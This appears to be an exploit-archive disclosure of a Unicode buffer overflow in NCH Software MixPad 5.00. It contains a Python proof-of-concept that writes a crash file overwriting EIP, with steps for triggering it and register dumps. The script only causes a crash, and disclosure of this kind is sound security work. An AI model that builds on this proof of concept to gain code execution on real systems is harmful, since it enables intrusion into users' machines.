MixPad 5.00 Buffer Overflow

MixPad version 5.00 suffers from a buffer overflow vulnerability.


MD5 | a32d3a1768736554aa97dc28a11b2d03

#!/usr/bin/python

#
# Exploit Author: bzyo
# Twitter: @bzyo_
# Exploit Title: NCH Software MixPad v5.00 - Unicode Buffer Overflow
# Date: 21-01-2017
# Vulnerable Software: NCH Software MixPad
# Vendor Homepage: http://www.nch.com.au/mixpad
# Version: v5.00
# Software Link: http://www.nch.com.au/mixpad/mpsetup.exe
# Tested On: Windows XP
#
#
# PoC: generate crash.txt, options, metronome tab, paste crash.txt in 'choose a custom metronome sound'
#
# no unicode jmp/call to esp
#
# EAX 00117700
# ECX 001167F0
# EDX 7C90E514 ntdll.KiFastSystemCallRet
# EBX 00000000
# ESP 00116C40 UNICODE "BBBBBB does not exist or cannot be accessed."
# EBP 00116FAC
# ESI 0000004E
# EDI 00117740
# EIP 00CC00CC

filename="crash.txt"

junk = "A"*251
eip = "\xcc"*2 #eip over; jmp/call esp goes here
fill = "B"*100 #only 6 used in esp
buffer = junk + eip + fill


textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()



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